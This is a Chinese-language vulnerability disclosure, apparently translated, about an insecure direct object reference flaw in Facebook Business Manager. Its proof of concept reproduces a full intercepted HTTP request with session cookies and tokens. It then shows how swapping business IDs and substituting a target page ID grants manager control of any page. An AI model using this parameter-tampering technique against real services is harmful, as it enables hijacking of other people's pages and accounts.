概要
这是存在于Facebook商业管理平台(Business Manager)上的一个不安全的直接对象引用漏洞,攻击者利用该漏洞可以在10秒内接管任何Facebook页面。
关于Facebook商业管理平台(Business Manager)
商业管理平台让企业更安全地共享和控制他们的广告账户、页面和其他Facebook上的资产的访问权限。它可以将多个管理账号集中到同一个账号,协助商家在同一页面统一管理旗下的Facebook粉丝专页、广告账号、APP和付款方式,并且不用在各后台之间切换使用。
商业管理平台是一个新的、更安全的管理页面和广告账户权限的工具,主要针对那些需要给很多人分配不同权限的公司。
商业管理平台让你:
管理Facebook页面和广告帐户的权限:可以清楚地看到谁有权访问页面和广告账户,也可以删除或改变他们的权限。
保持你的工作独立:在不需要同事的帮助下就可以访问页面和广告帐户。
具体信息可以观看下面的视频:
漏洞描述
不安全的直接对象引用发生是由于应用程序提供了一项功能,该功能根据用户提供的输入直接访问对象。因此这个漏洞的攻击者可以直接绕过授权去访问系统上的资源,例如数据库记录或文件。
由于应用程序可以接受用户提供的输入来检索对象并且没有进行足够的授权检查,所以攻击者可以通过修改用于直接指向一个对象的参数的值来绕过授权访问系统资源。
概念验证(POC)
下面是该漏洞的概念验证,详细操作可以观看下面的视频:
1、Facebook企业帐户(2个)
一个是自己的企业账户,另外一个可以是任何一个企业账户。
在这里,我使用的是我的企业账户,id是:907970555981524
另一个,我选择了我的测试账户,id是:991079870975788
2、用我的企业账户添加一个合作伙伴,然后拦截请求
现在你可以看到这个含有漏洞的请求:
POST /business_share/asset_to_agency/?dpr=2 HTTP/1.1
Host: business.facebook.com
Connection: close
Content-Length: 436
Origin: https://business.facebook.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: https://business.facebook.com/settings/pages/536195393199075?business_id=907970555981524
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.8
Cookie: rc=2; datr=AWE3V–DUGNTOAy0wTGmpAXb; locale=en_GB; sb=BWE3V1vCnlxJF87yY9a8WWjP; pl=n; lu=gh2GPBnmZY1B1j_7J0Zi3nAA; c_user=100000771680694; xs=25%3A5C6rNSCaCX92MA%3A2%3A1472402327%3A4837; fr=05UM8RW0tTkDVgbSW.AWUB4pn0DvP1fQoqywWeORlj_LE.BXN2EF.IL.FfD.0.0.BXxBSo.AWXdKm2I; csm=2; s=Aa50vjfSfyFHHmC1.BXwxOY; _ga=GA1.2.1773948073.1464668667; p=-2; presence=EDvF3EtimeF1472469215EuserFA21B00771680694A2EstateFDutF1472469215051CEchFDp_5f1B00771680694F7CC; act=1472469233458%2F6
parent_business_id=907970555981524&agency_id=991079870975788&asset_id=536195393199075&role=MANAGER&__user=100000771680694&__a=1&__dyn=aKU-XxaAcoaucCJDzopz8aWKFbGEW8UhrWqw-xG2G4aK2i8zFE8oqCwkoSEvmbgcFV8SmqVUzxeUW4ohAxWdwSDBzovU-eBCy8b48xicx2aGewzwEx2qEN4yECcKbBy9onwFwHCBxungXKdAw&__req=e&__be=-1&__pc=PHASED%3Abrands_pkg&fb_dtsg=AQHoLGh1HUmf%3AAQGT4fDF1-nQ&ttstamp=265817211176711044972851091025865817184521026870494511081&__rev=2530733
3.修改asset id为你想要破解的页面id。同时交换parent_business_id和agency_id的值
parent_business_id= 991079870975788
agency_id= 907970555981524
asset_id =190313461381022
role= MANAGER
4.重新发送请求
请求发送成功,Facebook页面添加到了攻击者的商业管理平台,并且权限角色是管理者。
5.该利用将我的账户添加为了页面的管理者
6.使用Facebook的商业管理平台浏览页面,我可以做任何我想做的事了!
影响
利用该漏洞可以接管任何Facebook页面(例如:比尔·盖茨,巴拉克•奥巴马(Barack Obama)的页面),并且可以做任何操作,包括关键页面的删除修改等操作。
文章原文链接:https://www.anquanke.com/post/id/84588